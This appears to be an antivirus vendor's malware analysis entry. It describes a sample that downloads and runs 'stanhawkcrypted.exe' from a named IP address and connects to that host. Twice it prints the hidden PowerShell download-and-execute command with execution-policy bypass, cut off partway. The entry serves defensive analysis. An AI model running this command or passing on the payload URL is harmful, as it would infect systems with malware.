Technical Information
Malicious functions
Downloads and executes
- http://167.114.35.111/~lupascom/data/stanhawkcrypted.exe as %temp%\stanhawkcrypted.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://167.114.35.111/~lupascom/data/stanhawkcrypted.exe','%TEMP%\stanhawkcrypted.exe'); Start-Proces...
Network activity
Connects to
- '16#.#14.35.111':80
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://167.114.35.111/~lupascom/data/stanhawkcrypted.exe','%TEMP%\stanhawkcrypted.exe'); Start-Proces...' (with hidden window)
